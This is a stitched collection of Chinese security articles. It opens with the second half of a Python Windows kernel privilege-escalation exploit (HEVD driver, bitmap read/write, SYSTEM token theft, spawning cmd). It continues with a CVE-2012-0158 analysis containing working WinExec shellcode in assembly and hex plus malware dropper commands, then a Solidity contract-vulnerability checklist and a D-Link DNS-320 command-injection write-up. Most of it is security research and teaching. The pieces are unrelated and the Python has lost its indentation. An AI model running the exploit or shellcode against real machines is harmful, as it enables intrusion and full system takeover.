hWnd = user32.CreateWindowExA(0,"Class_" + str(classNumber),'Franco',0xcf0000,0,0,300,300,0,0,hInst,0)
# Run HMValidateHandle on Window handle to get a copy of it in userland
pWnd = HMValidateHandle(hWnd,1)
# Read pSelf from copied Window
kernelpSelf = (cast(pWnd+0x20, POINTER(c_ulonglong))).contents.value
# Calculate ulClientDelta (tagWND.pSelf - HMValidateHandle())
# pSelf = ptr to object in Kernel Desktop Heap; pWnd = ptr to object in User Desktop Heap
ulClientDelta = kernelpSelf - pWnd
# Read tagCLS from copied Window
kernelTagCLS = (cast(pWnd+0xa8, POINTER(c_ulonglong))).contents.value
# Calculate user-land tagCLS location: tagCLS - ulClientDelta
userTagCLS = kernelTagCLS - ulClientDelta
# Calculate kernel-land tagCLS.lpszMenuName
tagCLS_lpszMenuName = (cast (userTagCLS+0x90, POINTER(c_ulonglong))).contents.value
# Destroy Window
user32.DestroyWindow(hWnd)
# Unregister Class
user32.UnregisterClassW(c_wchar_p("Class_" + str(classNumber)), hInst)
return tagCLS_lpszMenuName
def alloc_free_windows():
""" Calls alloc_free_window() until current address matches previous one """
global classNumber
previous_entry = 0
while (1):
plpszMenuName = allocate_free_window()
if previous_entry == plpszMenuName:
return plpszMenuName
previous_entry = plpszMenuName
classNumber = classNumber + 1
def write_mem(dest, src, length):
global hManager
global hWorker
write_buf = c_ulonglong(dest)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)
def read_mem(src, dest, length):
global hManager
global hWorker
write_buf = c_ulonglong(src)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)
def find_kernelBase(input_modules):
modules = {}
# Allocate arbitrary buffer and call NtQuerySystemInformation
system_information = create_string_buffer(0)
systeminformationlength = c_ulong(0)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Call NtQuerySystemInformation second time with right size
system_information = create_string_buffer(systeminformationlength.value)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Read first 4 bytes which contains number of modules retrieved
module_count = c_ulong(0)
module_count_string = create_string_buffer(system_information.raw[:8])
ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))
# Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
system_information = create_string_buffer(system_information.raw[8:])
for x in range(module_count.value):
smi = SYSTEM_MODULE_INFORMATION()
temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
module_name = smi.FullPathName.split('\')[-1]
modules[module_name] = smi
#debug_print ("rn[+] NtQuerySystemInformation():")
# Get base addresses and return them in a list
base_addresses = []
for input_module in input_modules:
try:
base_address = modules[input_module].ImageBase
#debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
base_addresses.append(base_address)
except:
base_addresses.append(0)
return base_addresses
def main():
global hManager
global hWorker
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
findHMValidateHandle()
debug_print ("[>] Setting up Manager Bitmap:")
debug_print ("t[+] Allocating and Freeing Windows")
dup_address = alloc_free_windows()
dwReturn = c_void_p()
gdi32.CreateBitmap.restype = HBITMAP
hManager = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, dwReturn) # Win10x64RS2 size = 0x1020
debug_print ("t[+] Manager Bitmap handle: 0x%X" % hManager)
hManager_pvscan0_off = dup_address + 0x50
debug_print ("t[+] Manager bitmap pvscan0 offset: 0x%X" % hManager_pvscan0_off)
debug_print ("[>] Setting up Worker Bitmap:")
debug_print ("t[+] Allocating and Freeing Windows")
dup_address = alloc_free_windows()
dwReturn = c_void_p()
gdi32.CreateBitmap.restype = HBITMAP
hWorker = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, dwReturn) # size = 0x1020
debug_print ("t[+] Worker Bitmap handle: 0x%X" % hWorker)
hWorker_pvscan0_off = dup_address + 0x50
debug_print ("t[+] Worker bitmap pvscan0 offset: 0x%X" % hWorker_pvscan0_off)
write_where = struct.pack("<Q", hManager_pvscan0_off)
write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
write_what_object_ptr = id(write_what_object) + 0x20
write_what_final = struct.pack("<Q", write_what_object_ptr)
buf = write_what_final + write_where
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
kernelImage = "ntoskrnl.exe"
kernelImageBase = find_kernelBase(kernelImage.split())[0]
kernel32.LoadLibraryA.restype = HMODULE
hKernelImage = kernel32.LoadLibraryA(kernelImage)
print "[+] Module Name : {0}".format(kernelImage)
print "[+] Module Base(Userland) : {0}".format(hex(hKernelImage))
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))
PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
print "[+] PsInitialSystemProcess Kernel Base Address : {0}".format(hex(PsISP_kernel_addr_ptr))
PsISP_kernel_addr = c_ulonglong()
read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
SYSTEM_EPROCESS = PsISP_kernel_addr.value
print "[+] SYSTEM EPROCESS : {0}".format(hex(SYSTEM_EPROCESS))
token_off = 0x358
unique_process_id_off = 0x2e0
active_process_links_off = 0x2e8
flink = c_ulonglong()
read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
CURRENT_EPROCESS = 0
while (True):
unique_process_id = c_ulonglong(0)
# Adjust EPROCESS pointer for next entry
EPROCESS = flink.value - unique_process_id_off - 0x8
read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));
# Check if we're in the current process
if (os.getpid() == unique_process_id.value):
CURRENT_EPROCESS = EPROCESS
break
read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
# If next same as last, we've reached the end
if (EPROCESS == flink.value - unique_process_id_off - 0x8):
break
print "[+] CURRENT EPROCESS : {0}".format(hex(CURRENT_EPROCESS))
system_token = c_ulonglong()
read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
WIN~ | 社区文章 |
## 0x00 前言
分析环境：
* OS版本：Windows 7 Service Pack 1 x86
* Office版本：Professional 2007
* MSCOMCTL.OCX版本：6.01.9545
该版本MSCOMCTL.OCX存在两处缓冲区溢出(具体为栈溢出)漏洞，一处为CVE-2012-0158，另一处无CVE编号，均在MS12-027中修补。
## 0x01 CVE-2012-0158
### 0x01.1 漏洞成因
MSCOMCTL.OCX中`CObj::Load`函数对输入数据进行错误校验，第二次调用`ReadBytesFromStreamPadded()`时，会造成溢出，进而可以劫持执行流。
### 0x01.2 漏洞分析
#### 0x01.2.a POC构造
通过Excel解析ListView控件时调用漏洞函数的原理构造POC，详见下文分析。
在Excel中创建ListView控件并添加ListItem子对象使其调用漏洞函数`CObj::Load`。此处用VBA代码进行添加并将其编译生成对象，为避免保存失败，编译后需删除相应代码并保存文件：
[
将保存后文件拖入winhex，找到CObj类，修改相应的十六进制令其大于8并保存文件，再次打开Excel弹出报错则表明已成功触发漏洞：
[
#### 0x01.2.b 漏洞详细分析
Ollydbg附加至Excel并打开构造好的POC，Excel报错将弹出报错，Ollydbg将停在`0x65006B`处。
此时栈中情况如下图所示。可以猜测在加载`MSCOMCTL`模块时出现问题，那么在该模块处下断点并重新加载：
[
最终发现执行至`0x275c8a56`处发生错误，此时栈情况如下，其返回地址为`0x65006B`：
[
从发生错误的位置向上回溯，单步调试至`0x275C8A05`处，发现调用该函数后，栈被覆盖：
[
该参数读入长度`0x18`，是构造POC时修改的读入长度：
[
寄存器`eax`值为需要读入的字符地址，而这段字符就是Excel中`Cobj`关键字后的内容：
[
[
在关键函数`0x275C8A05`内部，`0x275C878D`有一处验证变量值的语句，为方便观察笔者将数值修改为`0x18`、`0x19`。构造POC时修改的两个数值前者为读入长度，后者为验证参数。但在读入文件时两个数同时被读入，因此该验证可通过修改文件数据直接绕过。
[
最终执行拷贝的语句在`0x275c87cb`处，执行后栈发生改变：
[
结合`MSCOMCTL.OCX`模块的IDA伪代码：
[
#### 0x01.2.c 利用思路及shellcode编写
首先将覆盖长度修改为更大数值，之后修改返回地址指向`jmp esp`指令，将Shellcode置于返回地址偏移`0x8`处使其能成功被执行。
##### Shellcode(硬编码)
通过`Stud_PE`获取`Kernel32.dll`模块基址及`WinExec`偏移，构造语句`WinExec("AAAA.exe", 5)`
int main(void){
__asm{
PUSH EBP
MOV EBP, ESP
XOR EAX,EAX
PUSH EAX
PUSH 6578652Eh //".exe"
PUSH 41414141h //"AAAA"
//若此处修改为636c6163，就能弹出计算器
MOV EAX,ESP
PUSH 5
PUSH EAX // "AAAA.exe"
MOV EAX,7783e5fdh //WinExec("AAAA.exe", 5)
CALL EAX
MOV ESP,EBP
POP EBP
}
return 0;
}
转换成机器码为`558BEC558BEC33C050682E65786568414141418BC46A0550B8FDE58377FFD08BE55D`
##### Shellcode(动态获取模块基址)
此处参考《加密与解密(第四版)》十四章相关思路，通过TEB查找法获取`Kernel32.dll`基址，进而得到其导出表地址以获取`LoadLibrary()`和`GetProcessAddress()`函数地址，通过它们组合来获取任意DLL中的API地址。
汇编代码如下：
int main(void){
__asm{
//查找kernel32.dll基址
XOR EAX, EAX
MOV EAX, DWORD PTR FS : [0x30]//PEB
MOV EAX, DWORD PTR [EAX + 0xC]//PEB_LDR_DATA
MOV ESI, DWORD PTR [EAX + 0x14]//不同操作系统偏移不同
lodsd
XCHG EAX, ESI
lodsd
MOV EBX, DWORD PTR [EAX + 0x10]//获取kernel32基址
MOV EDX, DWORD PTR [EBX + 0X3C]// e_lfanew
MOV EDX, DWORD PTR [EBX + EDX + 0X78] // ETA
ADD EDX, EBX
MOV ESI, DWORD PTR [EDX+ 0X20]//namestable
ADD ESI, EBX
XOR ECX, ECX
GET_FUNCTION:
INC ECX
lodsd
ADD EAX, EBX// 读取函数名称
CMP DWORD PTR [EAX], 0X50746547
JNZ GET_FUNCTION
CMP DWORD PTR [EAX + 0X4], 0x41636f72
JNZ GET_FUNCTION
CMP DWORD PTR [EAX + 0X8], 0x65726464
JNZ GET_FUNCTION
MOV ESI, [EDX + 0X24]
ADD ESI, EBX
MOV CX, WORD PTR [ESI + ECX * 2]
DEC ECX
MOV ESI, DWORD PTR [EDX + 0X1C]
ADD ESI, EBX
MOV EDX, DWORD PTR [ESI + ECX * 4]
ADD EDX, EBX //GETprocAddress
XOR ECX, ECX
push 0X00636578 //xec
PUSH 0X456E6957 //WinE
PUSH ESP
PUSH EBX
CALL EDX
XOR ECX,ECX
PUSH ECX
PUSH 0X6578652E //".exe"
PUSH 0X41414141 //"AAAA"
//若此处修改为636c6163，就能弹出计算器
MOV EBX,ESP
PUSH 5
PUSH EBX
CALL EAX
}
return 0;
}
转换成机器码为`535633C064A1300000008B400C8B7014AD96AD8B58108B533C8B54137803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333C968786563006857696E455453FFD233C951682E6578656863616C638BDC6A0553FFD05E33C05BC3`
此处需要注意的是：机器码过长会超出构造POC时设置的代码段的长度，这里笔者采用了维一零师傅的方式，代码修改如下，以保证Shellcode正常读入及执行：
Dim L1 As ListItem
Dim key1 As String
Dim i As Integer
i = 0
key1 = "key1"
While (i < 20)
key1 = key1 + key1
i = i + 1
Wend
'MsgBox (key1)
Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0)
Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0)
Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)
### 0x01.3 利用样本分析
#### 0x01.3.a 基本信息
> NAME: malware_1264.doc
>
> MD5: F393FDC7F3853BC7C435C13A4962C688
>
> SHA1: 48510754C8FD91E3CD5930AF7AE755D4AA2B6D29
#### 0x01.3.b 详细分析
`0x275c8a56`处为漏洞触发位置，通过跳板指令`jmp esp`转至Shellcode执行并解密数据：
[
通过TEB查找法获取kernel32.dll基址并依次查找API函数地址：
[
判断文件大小以确认是否为样本文件，是则获取其路径：
[
打开文件，并获取读取写入权限：
[
获取临时目录地址并为临时文件创建一个名称：
[
获取样本文件名并入栈，随后获取临时目录地址，拼接地址得到`"C:\\Users\\用户名\\AppData\\Local\\Temp\\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc"`：
[
创建新文件并获取写权限，将数据解密后写入文件，该文件为一PE文件：
[
调用`WinExec`执行该tmp文件：
[
删除`Software\Microsoft\Office\10.0\Word\Resiliency\`注册表项，以清理记录：
[
在TEMP目录下创建新的文档，将数据解密并写入文档，该文档为doc格式：
[
通过拼接得到命令`"cmd.exe /c tasklist&\"C:\\Program Files\\Microsoft
Office\\Office12\\WINWORD.EXE\"
\"C:\\Users\\用户名\\AppData\\Local\\Temp\\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc\""`：
[
跳转至`WinExec`执行该命令，最终调用`TerminateProcess`函数退出：
[
## 0x02 无CVE编号
### 0x02.1 漏洞成因
`MSCOMCTL.OCX`中`LoadMFCPropertySet`函数为`MultiByteStr`变量分配0x148字节栈空间，复制数据时未做有效验证，可通过构造数据造成栈溢出，进而劫持执行流。
[
### 0x02.2 利用样本分析
#### 0x02.2.a 基本信息
> NAME: virus.doc
>
> MD5: 6845288E2BE0BE1ADBC3A3D4C6AAAA63
>
> SHA-1: 83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2
#### 0x02.2.b 详细分析
依旧在`MSCOMCTL.OCX`模块设置断点并调试。当运行至`0x75618d8c`处，此时栈中情况如下图所示，可以猜测文件已经触发漏洞并成功执行Shellcode：
[
从函数返回地址向上回溯，在样本中查找可得到如下信息：
[
`0x27602e9a`处为漏洞触发位置，执行过后Shellcode将被复制到栈中：
[
通过ROP+`jmp esp`，跳转至Shellcode执行：
[
下面对Shellcode进行详细分析。首先是对数据进行解码：
[
获取函数调用地址：
[
当判断已经查找完最后一个API函数后，程序将执行`LoadLibrary("ntdll")`：
[
以上Shellcode执行结束后栈中空间如下图所示：
[
判断文件大小是否超过0x2000，是则向后移动文件指针。读取文件数据，通过文件中标志位确定查找的文件是否正确：
[
从堆中分配指定字节数，将数据读入，函数执行后内存如下：
[
遍历进程模块，之后将样本文件地址写入内存：
[
对读入的数据进行解密，此处将数据处理后是一个PE文件：
[
获取临时目录地址并写入内存，执行后内存中数据为`cmd.exe /c start WINWORD.EXE /q
\"C:\\Users\\用户名\\AppData\\Local\\Temp\\`：
[
在临时目录下创建名为virus.doc的文件，在写入数据后关闭句柄，随后执行`cmd.exe /c start WINWORD.EXE /q
\"C:\\Users\\用户名\\AppData\\Local\\Temp\\virus.doc`：
[
于临时目录下创建名为temp.tmp的文件，设置属性为隐藏，写入数据后关闭句柄，随后执行`C:\\Users\\Lab\\AppData\\Local\\Temp\\temp.tmp`：
[
检索当前进程的伪句柄，随后终止指定的进程及其所有线程:
[
### 0x02.3 另一样本
> NAME:7ZzOmweGVb.doc
>
> MD5:02b8ba227266dfcefb5958f7dd2fbeaf
>
> SHA-1:5dd79bfa71118e9dec11ff65d37dfa0254e6c536
[
该样本与0x2.2中样本利用方法相同，不做赘述。
## 0x03 参考链接
[CVE-2012-0158（ms12-027）漏洞分析与利用—维一零](https://weiyiling.cn/one/cve_2012_0158_ms12-027)
[手把手教你如何构造office漏洞EXP（第一期）](https://www.anquanke.com/post/id/84520)
[永远的经典：CVE-2012-0158漏洞分析、利用、检测和总结—银雁冰](https://www.anquanke.com/post/id/91643)
[Windows平台shellcode开发入门（三）](https://www.freebuf.com/articles/system/97215.html)
[不知是不是新的 mscomctl
漏洞（附件是病毒样本，勿直接运行）—看雪](https://bbs.pediy.com/thread-172615.htm) | 社区文章 |
**作者：LoRexxar'@知道创宇404区块链安全研究团队
时间：2018年9月6日**
系列文章：
* [《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》](https://paper.seebug.org/663/ "《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》")
* [《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》](https://paper.seebug.org/679/ "《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》")
### 一、简介
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中，把“溢出问题”、“重入漏洞”、“权限控制错误”、“重放攻击”等问题统一归类为“以太坊智能合约编码安全问题”。
“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码安全”类问题在全网公开的智能合约代码做了扫描分析。详见下文：
### 二、漏洞详情
#### 1、溢出问题
以太坊Solidity设计之初就被定位为图灵完备性语言。在solidity的设计中，支持int/uint变长的有符号或无符号整型。变量支持的步长以8递增，支持从uint8到uint256，以及int8到int256。需要注意的是，uint和int默认代表的是uint256和int256。uint8的数值范围与C中的uchar相同，即取值范围是0到2^8-1，uint256支持的取值范围是0到2^256-1。而当对应变量值超出这个范围时，就会溢出至符号位，导致变量值发生巨大的变化。
##### (1) 算数溢出
在Solidity智能合约代码中，在余额的检查中如果直接使用了加减乘除没做额外的判断时，就会存在算术溢出隐患
contract MyToken {
mapping (address => uint) balances;
function balanceOf(address _user) returns (uint) { return balances[_user]; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(uint _amount) {
require(balances[msg.sender] - _amount > 0); // 存在整数溢出
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
在上述代码中，由于没有校验`_amount`一定会小于`balances[msg.sender]`，所以攻击者可以通过传入超大数字导致溢出绕过判断，这样就可以一口气转走巨额代币。
2018年4月24日，SMT/BEC合约被恶意攻击者转走了50,659,039,041,325,800,000,000,000,000,000,000,000,000,000,000,000,000,000,000个SMT代币。恶意攻击者就是利用了[SMT/BEC合约的整数溢出漏洞](https://www.anquanke.com/post/id/106382)导致了这样的结果。
2018年5月19日，以太坊Hexagon合约代币被公开存在[整数溢出漏洞](https://www.anquanke.com/post/id/145520)。
##### (2) 铸币烧币溢出问题
作为一个合约代币的智能合约来说，除了有其他合约的功能以外，还需要有铸币和烧币功能。而更特殊的是，这两个函数一般都为乘法或者指数交易，很容易造成溢出问题。
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
上述代码未对代币总额做限制，会导致指数算数上溢。
2018年6月21日，Seebug Paper公开了一篇关于整数溢出漏洞的分析文章[ERC20
智能合约整数溢出系列漏洞披露](https://paper.seebug.org/626/)，里面提到很多关于指数上溢的漏洞样例。
#### 2、call注入
Solidity作为一种用于编写以太坊智能合约的图灵完备的语言，除了常见语言特性以外，还提供了调用/继承其他合约的功能。在`call`、`delegatecall`、`callcode`三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用，也导致了这些函数被合约开发者“滥用”，甚至“肆无忌惮”提供任意调用“功能”，导致了各种安全漏洞及风险。
function withdraw(uint _amount) {
require(balances[msg.sender] >= _amount);
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
上述代码就是一个典型的存在call注入问题直接导致重入漏洞的demo。
2016年7月，[The
DAO](https://en.wikipedia.org/wiki/The_DAO_%28organization%29)被攻击者使用重入漏洞取走了所有代币，损失超过60亿，直接导致了eth的硬分叉，影响深远。
2017年7月20日，Parity Multisig电子钱包版本1.5+的漏洞被发现，使得攻击者从三个高安全的多重签名合约中窃取到超过15万ETH
，其事件原因是由于未做限制的 delegatecall 函数调用了合约初始化函数导致合约拥有者被修改。
2018年6月16日，「隐形人真忙」在先知大会上分享了[「智能合约消息调用攻防」](https://paper.seebug.org/624/)的议题，其中提到了一种新的攻击场景——call注⼊，主要介绍了利用对call调用处理不当，配合一定的应用场景的一种攻击手段。接着于
2018年6月20日，ATN代币团队发布「ATN抵御黑客攻击的报告」，报告指出黑客利用call注入攻击漏洞修改合约拥有者，然后给自己发行代币，从而造成
ATN 代币增发。
2018年6月26日，知道创宇区块链安全研究团队在Seebug Paper上公开了[《以太坊 Solidity 合约 call
函数簇滥用导致的安全风险》](https://paper.seebug.org/633/)。
#### 3、权限控制错误
在智能合约中，合约开发者一般都会设置一些用于合约所有者，但如果开发者疏忽写错了函数权限，就有可能导致所有者转移等严重后果。
function initContract() public {
owner = msg.reader;
}
上述代码函数就需要设置onlyOwner。
#### 4、重放攻击
2018年，DEFCON26上来自 360 独角兽安全团队(UnicornTeam)的 Zhenzuan Bai, Yuwei Zheng
等分享了议题[《Your May Have Paid More than You Imagine：Replay Attacks on Ethereum
Smart
Contracts》](https://github.com/nkbai/defcon26/blob/master/docs/Replay%20Attacks%20on%20Ethereum%20Smart%20Contracts.md)
在攻击中提出了智能合约中比较特殊的委托概念。
在资产管理体系中，常有委托管理的情况，委托人将资产给受托人管理，委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。
这里举例子为transferProxy函数，该函数用于当user1转token给user3，但没有eth来支付gasprice，所以委托user2代理支付，通过调用transferProxy来完成。
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){
if(balances[_from] < _fee + _value
|| _fee > _fee + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _fee < balances[msg.sender]) revert();
balances[_to] += _value;
emit Transfer(_from, _to, _value);
balances[msg.sender] += _fee;
emit Transfer(_from, msg.sender, _fee);
balances[_from] -= _value + _fee;
nonces[_from] = nonce + 1;
return true;
}
上述代码nonce值可以被预测，而其他变量不变的情况下，可以通过重放攻击来多次转账。
### 三、漏洞影响范围
使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。
基于Haotian平台智能合约审计功能规则，我们对全网的公开的共42538个合约代码进行了扫描，其中共1852个合约涉及到这类问题。
#### 1、溢出问题
截止2018年9月5日，我们发现了391个存在算数溢出问题的合约代码，其中332个仍处于交易状态，其中交易量最高的10个合约情况如下：
截止2018年9月5日，我们发现了1636个存在超额铸币销币问题的合约代码，其中1364个仍处于交易状态，其中交易量最高的10个合约情况如下：
#### 2、call注入
截止2018年9月5日，我们发现了204个存在call注入问题的合约代码，其中140个仍处于交易状态，其中交易量最高的10个合约情况如下：
#### 3、重放攻击
截止2018年9月5日，我们发现了18个存在重放攻击隐患问题的合约代码，其中16个仍处于交易状态，其中交易量最高的10个合约情况如下：
### 四、修复方式
#### 1、溢出问题
##### 1） 算术溢出问题
在调用加减乘除时，通常的修复方式都是使用openzeppelin-safeMath，但也可以通过对不同变量的判断来限制，但很难对乘法和指数做什么限制。
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
##### 2）铸币烧币溢出问题
铸币函数中，应对totalSupply设置上限，避免因为算术溢出等漏洞导致恶意铸币增发。
在铸币烧币加上合理的权限限制可以有效减少该问题危害。
contract OPL {
// Public variables
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals
bool public adminVer = false;
address public owner;
uint256 public totalSupply;
function OPL() public {
totalSupply = 210000000 * 10 ** uint256(decimals);
...
}
#### 2、call注入
call函数调用时，应该做严格的权限控制，或直接写死call调用的函数。避免call函数可以被用户控制。
在可能存在重入漏洞的代码中，经可能使用transfer函数完成转账，或者限制call执行的gas，都可以有效的减少该问题的危害。
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
上述代码是一种用互斥锁来避免递归防护方式。
#### 3、权限控制错误
合约中不同函数应设置合理的权限
检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰，检查合约是否正确定义并使用了modifier对关键函数进行访问限制，避免越权导致的问题。
function initContract() public OnlyOwner {
owner = msg.reader;
}
#### 4、重放攻击
合约中如果涉及委托管理的需求，应注意验证的不可复用性，避免重放攻击。
其中主要的两点在于： 1、避免使用transferProxy函数。采用更靠谱的签名方式签名。
2、nonce机制其自增可预测与这种签名方式违背，导致可以被预测。尽量避免nonce自增。
### 五、一些思考
在完善智能合约审计checklist时，我选取了一部分问题将其归为编码安全问题，这类安全问题往往是开发者疏忽导致合约代码出现漏洞，攻击者利用代码中的漏洞来攻击，往往会导致严重的盗币事件。
在我们使用HaoTian对全网的公开合约进行扫描和监控时，我们发现文章中提到的几个问题涉及到的合约较少。由于智能合约代码公开透明的特性，加上这类问题比较容易检查出，一旦出现就会导致对合约的毁灭性打击，所以大部分合约开发人员都会注意到这类问题。但在不容易被人们发现的未公开合约中，或许还有大批潜在的问题存在。
这里我们建议所有的开发者重新审视自己的合约代码，检查是否存在编码安全问题，避免不必要的麻烦或严重的安全问题。
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
* * * | 社区文章 |
# CVE-2019-16057 Dlink DNS320 NAS网盘 无需认证 命令注入漏洞分析
## 漏洞概述
Dlink DNS320 是一款NAS网络存储 ，双盘位，市场价格大概在三四百多元。
`CVE-2019-16057`漏洞的触发无需认证，可以最高权限执行任意命令，根据漏洞纰漏信息，适用于 `2.05.B10`及以下的版本。
## 漏洞分析
### 下载固件
$ wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/DNS-320_REVA_FIRMWARE_PATCH_2.05.B10.ZIP
$ unzip DNS-320_REVA_FIRMWARE_PATCH_2.05.B10.ZIP
解压后文件`DLINK_DNS320.2.05b10(2.13.0226.2016)`便是我们需要的固件。
### 固件解压
$ binwalk -e ./DLINK_DNS320.2.05b10(2.13.0226.2016)
解开的固件如下：
### 静态分析
根据漏洞纰漏信息，漏洞点登录过程中，`IDA`打开`/cgi/login_mgr.cgi`，检索字符串`login`,查找引用：
可以找到具体的登录函数`process_login`，在登录函数`process_login`中，首先使用函数`cgiFormString`取出了post的几个字段的数据：
下面又进行了认证操作：
认证函数是将post的用户名密码与`/etc/shadow`中存储的账户比较，身为一个攻击者，不知道正确的用户名密码认证失败后，会执行以下流程（以下else便是认证失败的分支）：
可以看到会执行一个函数`vuln_func`,参数是获取到的post的参数`port`,仔细查看一下这个函数：
可以看到很明显的一个命令注入，`port`的参数值会被拼接到变量`s`中然后被传入`system`函数执行，并且这个参数值并没有被严格的检查。如果使用一些绕过字符，便可造成任意命令执行。
一个成功的poc如下：
## 补丁对比
获得修复版本固件：
$ wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_FIRMWARE_v2.06B01.zip
$ unzip DNS-320_REVA_FIRMWARE_v2.06B01.zip
固件解压：
$ binwalk -e DLINK_DNS320.2.06b01\(2.13.0322.2019\)
使用IDA打开我们关心的`login_mgr.cgi`文件：
可以看到在修复版本中将`port`的值转换为了一个整形，规避了特殊字符，因而避免了注入的可能。
## 小结
之前分析过这个设备发现了一些问题，这次在分析的时候除了这个注入点外也看到了其它的一些不严谨的地方。这个设备还是有一些挖掘空间的。
## 参考链接
1. [Flaw Gives Hackers Remote Access to Files Stored on D-Link DNS-320 Devices](https://www.securityweek.com/flaw-gives-hackers-remote-access-files-stored-d-link-dns-320-devices)
2. [D-Link DNS-320 ShareCenter <= 2.05.B10 - Unauthenticated Remote code execution](https://blog.cystack.net/d-link-dns-320-rce/)
